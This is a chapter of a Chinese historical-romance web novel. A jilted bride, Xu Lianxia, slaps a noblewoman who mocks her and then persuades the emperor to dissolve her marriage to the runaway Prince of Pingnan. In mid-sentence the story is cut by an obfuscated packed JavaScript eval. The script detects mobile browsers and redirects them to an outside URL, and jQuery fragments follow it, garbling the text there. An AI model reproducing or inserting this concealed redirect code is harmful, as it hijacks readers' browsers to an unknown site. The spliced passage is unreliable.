永嘉帝说好了会给许家一个交代,可是眼下三天已过,平南王音信全无,至今没找到人。
到底是找不到还是不想找,就不得而知了。
流言甚嚣尘上,不仅仅是许连夏,连带着整个许家都成了盛京城议论的中心。
驿站内,许明舟也有些坐不住了。
原本这几日他送完许连夏出嫁便要回南城处理政务的,毕竟盛京距南城,实在不算近,久留不得。可眼下出了这档子事儿,他在盛京也耽搁了好些时日。
再这样下去,只怕是两头都要耽误。
于是一个还算晴朗的午后,许明舟带着许连夏入宫面圣去了。
此行一来是想寻问平南王的音讯,这件事究竟如何处置,一直这样悬而未决也不是个事儿。二来也是要奏本圣上,启程回乡。
许连夏跟着叔父坐在马车里,身躯摇晃,整个人兴致都不太高。
她靠坐在车窗壁上,还想象不出自己会有什么样的结局。只是大婚之日已过,再差也不过如此了。如今什么样的结局她都能接受。
许明舟瞧着她低迷沮丧的模样,心里也不好受。
来之前这孩子还说等成婚后三朝回门,她要回从前的老宅祭拜一下父母,还同他约定时间,让他多留两日,叔侄二人一块前去。可如今发生了这档子事儿,这孩子成日待在房中,龟缩不出,瞧着便病殃殃的。
他暗叹一声,眼底透着说不出的心疼。
倘若他的官职再高些……
许明舟垂眸,可叹他并无甚才华,也不如兄长能干。从前费劲苦读也不过考了个举人,做了个仓官,还是靠着兄长的功绩,旁人才给他两分薄面。这些年能兢兢业业将南城海防治理好,守住一份家业,已是不易。
他看着车外的景致,心底无奈叹息。如若当初出事的是他,而非兄长,恐怕如今的许家仍旧如日中天吧。
长街繁华终有时,宫门红墙在尽头。再多的倘若如果,终究抵不过眼前。
御花园的前廊下,景色独好。
许明舟先行前去面圣,许连夏闲站在一盆花瓣繁密的绿菊面前,眼下这个时节,百花凋零,也就菊花开得正好了。
听闻这绿菊乃是纯皇太妃的心头好,德惠帝在时,曾为了博皇太妃一笑,广邀天下花匠,举行赏菊赛,此菊一举夺魁,从此便成了贡品。
不过那时许连夏还未出生,她也是听母亲提及过当时京中风靡菊花的盛况,几乎家家户户都以赏菊为荣。
她能记住这些往事,也不过是因为纯皇太妃是平南王的生母。
许连夏扯了扯嘴角,只觉得讽刺。自己竟是无意间记住了这许多与他有关的事情。
“被退婚的人就是她啊。长得也不怎么样嘛。”
“好好一个姑娘家,还是先帝赐婚,如今人家宁愿抗旨也不娶她,叫她可怎么活?”
“活?这还不好,如今整个许家都在盛京出了大风头。不过是一个五品官之家,能有这样大的名声,他们当感谢王爷才是。”
“张姐姐,这话可不是这么说的。”
耳旁不知何时传来了窸窸碎语。
许连夏转头只见一群衣着华丽,容貌娇嫩的女子从御花园的另一头走了过来,一瞧便知各个都是身份不低的高门贵女。
走在前面的是一位面容情严肃的带路嬷嬷,她朝许连夏福了福身,道:“见过许姑娘。”
许连夏刚要颔首,就听人道:“刘嬷嬷,你怎么唤她许姑娘呀,她不是平南王妃么。”
刘嬷嬷面色一僵,“这……”她也是宫中的老人了,按说对这些小姑娘的问话应该有应对之策,可奈何这位国公爷家的小姐也不是个吃素的,前两日在大街上还同人发生口角扭打起来,行事跋扈甚是不守规矩,得罪她实在是不划算。
许连夏朝着那女子望去,只见她站在这一群高门贵女的中间,衣着打扮格外张扬明媚,一张精致的小脸看上去也漂亮极了,只是看着许连夏的眼神实在算不得友善。
许连夏颔首,算是行礼。
可这女子压根不屑还礼,上前两步,走到许连夏面前,上下打量了她一番,像是在看什么垃圾一样,冷嗤不屑道:“许家小姐。”
“今日可是李贵妃邀我们一道赏花的,你怎么也来了,难不成贵妃也邀请了你?”
许连夏抿唇,刚想开口,又听她抢话道,“不应该呀。贵妃娘娘的座上宾从来都是三品官员家的女眷,我记得许家最大也不过一个五品官,表姐的宴会要求何时如此之低了。”
“莫不是贵妃记错了,当你还是平南王妃?”张绾绾故作惊讶道,“呀,她不会忘记了平南王已经逃婚了吧!”
许连夏攥住手帕的玉指蜷缩,面色冰冷。
“张姐姐别说了!”她身侧一名绿衣女子拽了拽张绾绾的衣袖,胆怯道。
张绾绾一把拽回自己的衣袖,寒声道:“什么不说了,要不是她,这平南王妃之位就该是我的。”她扭头看着许连夏,连方才的阴阳怪气、冷嘲热讽都懒得装了,斥道,“也不看看自己是什么货色。仗着父母有点军功,便敢肖想平南王,你也配!”
“住口!”闻言,许连夏也冷了性子道。
旁的讥讽和辱骂她都忍了,如今她这副模样,多一句少一句又有什么所谓,可没有人能当着她的面这般羞辱她的父亲母亲。
是,以许家如今的身份地位是配不上平南王。她的父亲为她定下这桩婚事也有高攀之嫌,可她的父亲母亲是战死沙场,为国捐躯,便是托大说一句不中听的,这大庸的每一个人如今能有这一份安宁的生活,都应该对她的父亲母亲感恩戴德。
纵然她的父亲有私心,为了她,强求了平南王这一桩婚事,可他们这些人又有什么资格来审判他!
她怒目圆视,瞪着张绾绾,步步逼近。
通身气质冷如寒冰,周遭的温度都降低了几个度。
那一双冷厉的眼眸便是张绾绾也有一瞬间的胆寒,可她堂堂国公之女岂会怕一个无父无母的五品小官侄女?
她硬气地回击道:“我说错了吗?”
“要不是你父母痴心妄想,攀龙附凤,又岂会逼得王爷离家出走!害得他被全城的人搜捕!难怪你会落得一个父母双亡,寄人篱下的下场。”
张绾绾步步逼近,“都是报应!”
“活该!”
“啪——”一道响亮的声音传来。
所有人都惊在了原地。
张绾绾脸都被打偏了去,满眼的不敢置信,她捂着自己的脸颊,火辣辣的疼痛提醒着她,自己竟是被眼前这一个弃妇给打了。
许连夏挺直脊背,半点不避讳她的目光。
张绾绾更是气极,她何时受过这般屈辱,扬手就要还回去。
却听一道喝斥声传来。
“住手!”
“你们在干什么!”
许明舟同永嘉帝的声音一道传来,身后匆匆赶来的李贵妃瞧见这一幕,面色也是煞白。
众人齐齐跪倒在地。
永嘉帝面色冷厉。
“到底是怎么一回事!”
许连夏一言不发,张绾绾抢先哭诉道:“回陛下,臣女原是来参加贵妃娘娘的花宴,不想路上遇见许姑娘,以为她也是应贵妃娘娘之邀约,又是头一回来宫中,便想带她一块前去,却不想她竟因为臣女未曾唤她一声平南王妃而动手殴打臣女,臣女这才还手的,还望陛下明鉴,为臣女做主啊!”她边说还边捂着脸痛哭,配着她脸上的巴掌印倒是可信至极。
闻言,许明舟眉头紧皱,他赶忙查看许连夏身上有没有伤痕,抬手却被许连夏偏头躲开了。
她跪在地上,犹如一棵雪下松,便是帝王威压也不弯曲脊背,只直挺挺地跪着,好似愿赌服输,任由发落。
许明舟收回手,心一沉,转头看向永嘉帝,眸光坚定地拱手道:“陛下,连夏绝非是惹是生非的性子,还望陛下明察。”
永嘉帝抿唇,望向许连夏,询问道:“你没有什么话要说吗?”
许连夏死气沉沉的模样,此刻才像是有了丁点生气一般。她抬眸,竟是胆大包天地直视了片刻天颜,而后垂眸,答非所问朗声道:“求陛下解除民女与平南王的婚事。”
话音一落,在场所有的人都震惊了。
张绾绾本是低着头装哭都忍不住停顿一瞬,悄悄瞥一眼许连夏。
许明舟也是愣怔在原地,这桩婚事虽说不大顺利,可到底是她父母遗愿,况且平南王逃婚一事闹得人尽皆知,若是退婚,日后这孩子的婚事,恐怕寸步难行。
永嘉帝挑眉,“此事乃是先帝亲定,朕说了也不作数。”
更别提,方才许明舟还在同他商待平南王归来,另行补办大婚一事。
“不过……”永嘉帝顿了顿。
未尽之言,在场所有的人都心知肚明。
这桩婚事,本就不如人意。
若能解除,对大家都好,平南王不必再被逮捕,能名正言顺归京。永嘉帝也不必被架在这儿,左右为难了。
许连夏闭了闭眼,眼角湿润。
她不过是一个人人都避之不及的烫手山芋罢了。
她苦笑一声,回道:“先帝曾言,这婚事人选,可由我自行选择。从前父亲择平南王为婿,并未与我商量,是以做不得数,如今臣女与平南王并无情谊,不愿为了父母遗愿,罔顾自己的婚姻大事,还望陛下成全。”
这话说得倒也合理。而且这桩婚事也只能由她许家来提出退婚,否则慎儿岂非成了背信弃义之辈?
只是这婚事已经成了一半,眼下才解除婚约……
永嘉帝迟疑半晌。
许连夏深深地弯下腰,额头重重地磕在地上,又道:“父亲临终前,最放心不下的人便是民女,这才慌不择路,想为臣女定下一门婚事,有个好的归宿,只是如今这桩婚事已经不宜继续下去了。京中人人都说是我父想要攀龙附凤,才选了平南王这根高枝。”
“何人如此妄言!”永嘉帝面色一凝。
张绾绾忍不住打了个哆嗦,不敢出声。
许连夏心底讥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422360|184767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诮一笑,这样的言论自这桩婚事定下来之后便四处流窜,她不信永嘉帝当真丁点都未曾听闻,如今这副模样,又做给谁看。
“民女无意追究这些流言蜚语。”许连夏停顿一瞬续道,“只是父母之爱子,则为之计深远,父亲宁愿背负高攀之骂名,也想为民女求一个归宿,此情可悯。可子女之爱亦要顾之其周全。连夏,绝不愿因为自己,毁了父亲母亲多年的声誉。他二人为国为民,从未有过私心。实在不该如此遭人议论唾弃,还望陛下也怜民女一片孝心,解了这门婚事,还二老清白。”
话落,许连夏的额头重重地磕在地上,她紧闭双眼,不愿再看任何人。
如果早知今日,或许……她再也不会惦记回盛京了。
这里早已不是她记忆中的家。
只是……可惜了父亲为她求来的婚事,她终究是未能守住,让父亲母亲安心了。
我朝以孝治天下,许连夏这些话一出,永嘉帝也不好反驳。
他看着许连夏叩头的架势,大有他不答应她便不起来的意思,眸色暗寒,沉吟良久。
许是场面太过沉默,沉默得令人心焦,沉寂了许久的许明舟也忍不住开口了。
他拱手道:“陛下,娘娘。我兄嫂上阵杀敌,为国捐躯,一生不说功勋卓著,却也是兢兢业业,尽忠职守,临死才求了这么一桩婚事,可如今平南王逃婚,城中流言蜚语不在少数。”
这些时日,不说是夏夏,便是他出门也会遇见一些官员们的指指点点。
他原以为不过是议论几句,待熬到成婚,坐稳这王妃之位,日后这些流言蜚语自会消散。
可一人言百人言,实在是叫人难堪。
尤其是今日,别以为夏夏不说,他就猜不到,这孩子若不是发生了什么大事,绝不会轻易违逆父母的遗愿。
他瞧着张绾绾的眸光顿时变得狠厉起来,定是她们欺人太甚,这才把人逼急了。
他咬牙恨道:“他二人膝下就这么一个女儿,我就这么一个侄女,便是天潢贵胄,微臣也绝不容忍旁人这么欺负她!”
想当初,他们还是风风光光嫁来盛京城的,眼下却被这般羞辱。
许明舟心底的怨气早就堆积如山。
永嘉帝拧眉,“许爱卿莫要冲动。”
“微臣并非冲动。这门亲事本就是我许家高攀不上,从前的旧事自也一笔勾销。方才书房中所言,皆不作数。夫妻未拜,这门亲事就不算是成,喜酒未饮,这孩子仍旧是未嫁女,我如何带来的就怎么带回去!”大不了他养她一辈子。许明舟心意已决道。
他望着许连夏眉眼深深道:“我不求高官厚禄,许家也不做卖女求荣、攀龙附凤之事。连夏是兄长唯一的女儿,臣只求她安好,还望陛下成全。”
话落,许明舟也是一个用力地磕头,态度陈恳至极。
许连夏心底也划过一丝暖流。
都说到这个份上了,永嘉帝也不好再说什么。
他似是为难一般,痛心道:“既如此,朕便允你所求,解了这桩婚事。”他招了招手,朝身侧的太监总管吴玉成道,“让刑部把追捕平南王的文书撤了吧。”
“是。”
如此迅速,许连夏望着吴总管急步走远的步履,唇角忍不住扬起一丝讥讽。
什么寻不到人,不过是托词罢了。
她知道,他们所有人都不过是想等她来给出这个满意的答复。什么交代,什么补偿,通通都是假的。只有退婚才是她唯一的选择,甚至也只有她提出退婚才能保全所有人的颜面。
偏偏从前她是那样的天真不识时务,竟以为靠退让就能获得一丝安稳和怜悯,真是可笑。
如此结局也只能怪她自己愚不可及。
她自嘲一笑,指不定今日这场闹剧就是为了逼她就犯呢。
永嘉帝瞥了一眼李贵妃,贵妃心领神会,亲自伸手将许连夏扶了起来。
许连夏婉言:“谢贵妃娘娘。”
又听永嘉帝道:“虽是允了你退婚,只是此事终究是慎儿对不住你。朕愿认你为义女,封为永安公主,往后你的婚事亦可自行做主,只要你相看好了人选,朕都能为你赐婚,你看如何?”
赐婚又如何,再来一场世人皆知的逃婚吗?
许连夏面容麻木,冷言道:“不必了,陛下应允解除我二人婚事,民女已是感激不尽,自此我与平南王各自婚嫁,再不相干,望陛下昭告天下。”
永嘉帝轻咳一声:“此事朕自会晓谕众人。日后若你想通了,依旧可以求朕赐婚,便是不赐婚,凡你有所求,情理之内,朕都会应允你。”
如此承诺,几乎相当于是免死金牌。只是许连夏却毫无波动,平平静静地谢了恩之后,轻声对许明舟道:“叔父,我们回家吧。”
“好。”
众人看着二人离开的背影,静默无声。
待许家叔侄离去,永嘉帝瞥了一眼地上的张绾绾,随口道:“贵妃好自为之,往后朕不想在宫里再看见她。”
“是。”李贵妃脊背发凉,应道。